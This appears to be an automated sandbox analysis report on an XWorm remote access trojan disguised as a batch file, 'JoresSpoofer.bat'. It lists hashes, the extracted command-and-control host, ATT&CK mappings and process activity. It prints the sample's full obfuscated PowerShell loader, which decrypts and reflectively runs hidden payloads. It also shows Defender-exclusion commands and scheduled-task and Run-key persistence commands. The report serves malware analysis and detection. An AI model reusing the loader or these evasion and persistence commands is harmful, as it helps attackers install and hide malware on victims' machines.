xworm | 3e9360777427b09db15faafc2cd5171b403461b445a932ee5e88d55b8342f876

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2025 18:47

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General

Target

JoresSpoofer.bat
Size

288KB
MD5

0d54ebc1a6e4ebe7d65b969c4024ed1e
SHA1

d790848a4fb6566f261336c792d3dc52231b6893
SHA256

3e9360777427b09db15faafc2cd5171b403461b445a932ee5e88d55b8342f876
SHA512

8ac84b09ba0f134a0575940877a2bea840c313ac2cdc048ffa2e1f64e9ea50aa59fe741f5b44ec1731ea4df7f17dd0a8f71c92ae305fc65893b81196e9293580
SSDEEP

6144:eAxGUqNRfHDHpulKyACuprcyfVsG3GNvMr+MjICSjQp:eAxRIf1W6CupwyfSueBK

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes

Install_directory
%ProgramData%

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3456-15-0x0000021470320000-0x0000021470336000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 64 IoCs

flow	pid	Process
13	3456	powershell.exe
22	3456	powershell.exe
24	3456	powershell.exe
25	3456	powershell.exe
27	3456	powershell.exe
29	3456	powershell.exe
30	3456	powershell.exe
31	3456	powershell.exe
32	3456	powershell.exe
33	3456	powershell.exe
34	3456	powershell.exe
37	3456	powershell.exe
44	3456	powershell.exe
46	3456	powershell.exe
51	3456	powershell.exe
52	3456	powershell.exe
53	3456	powershell.exe
54	3456	powershell.exe
55	3456	powershell.exe
56	3456	powershell.exe
57	3456	powershell.exe
58	3456	powershell.exe
59	3456	powershell.exe
60	3456	powershell.exe
61	3456	powershell.exe
62	3456	powershell.exe
63	3456	powershell.exe
64	3456	powershell.exe
65	3456	powershell.exe
66	3456	powershell.exe
67	3456	powershell.exe
68	3456	powershell.exe
69	3456	powershell.exe
70	3456	powershell.exe
73	3456	powershell.exe
74	3456	powershell.exe
75	3456	powershell.exe
76	3456	powershell.exe
77	3456	powershell.exe
78	3456	powershell.exe
79	3456	powershell.exe
80	3456	powershell.exe
81	3456	powershell.exe
82	3456	powershell.exe
83	3456	powershell.exe
84	3456	powershell.exe
85	3456	powershell.exe
86	3456	powershell.exe
87	3456	powershell.exe
88	3456	powershell.exe
89	3456	powershell.exe
90	3456	powershell.exe
91	3456	powershell.exe
92	3456	powershell.exe
95	3456	powershell.exe
96	3456	powershell.exe
99	3456	powershell.exe
101	3456	powershell.exe
102	3456	powershell.exe
103	3456	powershell.exe
104	3456	powershell.exe
105	3456	powershell.exe
106	3456	powershell.exe
107	3456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3456	powershell.exe
3896	powershell.exe
32	powershell.exe
1896	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3408	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe
3896	powershell.exe
3896	powershell.exe
32	powershell.exe
32	powershell.exe
1896	powershell.exe
1896	powershell.exe
3408	powershell.exe
3408	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	32	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 3456	644	cmd.exe	84
PID 644 wrote to memory of 3456	644	cmd.exe	84
PID 3456 wrote to memory of 3896	3456	powershell.exe	87
PID 3456 wrote to memory of 3896	3456	powershell.exe	87
PID 3456 wrote to memory of 32	3456	powershell.exe	89
PID 3456 wrote to memory of 32	3456	powershell.exe	89
PID 3456 wrote to memory of 1896	3456	powershell.exe	91
PID 3456 wrote to memory of 1896	3456	powershell.exe	91
PID 3456 wrote to memory of 1424	3456	powershell.exe	97
PID 3456 wrote to memory of 1424	3456	powershell.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9teasotqBk8WTenpeTE5FzOMJ48xawOGNCq0WwkILmY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Wrx0K4LfWEl9bMIQeRbWZw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WohyS=New-Object System.IO.MemoryStream(,$param_var); $VaNLI=New-Object System.IO.MemoryStream; $mbEJl=New-Object System.IO.Compression.GZipStream($WohyS, [IO.Compression.CompressionMode]::Decompress); $mbEJl.CopyTo($VaNLI); $mbEJl.Dispose(); $WohyS.Dispose(); $VaNLI.Dispose(); $VaNLI.ToArray();}function execute_function($param_var,$param2_var){ $LjWzP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $jmxwW=$LjWzP.EntryPoint; $jmxwW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat';$lQdiW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat').Split([Environment]::NewLine);foreach ($pjzMI in $lQdiW) { if ($pjzMI.StartsWith(':: ')) { $iUyve=$pjzMI.Substring(3); break; }}$payloads_var=[string[]]$iUyve.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:32
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1424

C:\ProgramData\powershell.exe
C:\ProgramData\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
634cde2589934e07d99490d6d6b9feca

SHA1
c118bd53a94e9ce0bd970b354812131675c1269f

SHA256
518e9613183fe36f877d1ae225c4e8e96c53349b09025e1c91533bb696a3f2d8

SHA512
972035cd12a6ec63b7a827867a54700d91855b45825bf57f15d5985d9380d77308e1638a8490403ad13a5ae307dfdd5a868bd9bfc6b37d4ecf00a8b54b9deae5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krpv4cj5.iei.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3408-75-0x00000140EDC10000-0x00000140EDC86000-memory.dmp

Filesize
472KB

Download
memory/3408-74-0x00000140EDB40000-0x00000140EDB84000-memory.dmp

Filesize
272KB

Download
memory/3456-54-0x00007FFD84F53000-0x00007FFD84F55000-memory.dmp

Filesize
8KB

Download
memory/3456-15-0x0000021470320000-0x0000021470336000-memory.dmp

Filesize
88KB

Download
memory/3456-14-0x00000214702C0000-0x00000214702F8000-memory.dmp

Filesize
224KB

Download
memory/3456-13-0x00000214702B0000-0x00000214702B8000-memory.dmp

Filesize
32KB

Download
memory/3456-0-0x00007FFD84F53000-0x00007FFD84F55000-memory.dmp

Filesize
8KB

Download
memory/3456-55-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3456-12-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3456-11-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3456-1-0x0000021470080000-0x00000214700A2000-memory.dmp

Filesize
136KB

Download
memory/3896-25-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3896-26-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3896-27-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download
memory/3896-30-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

Filesize
10.8MB

Download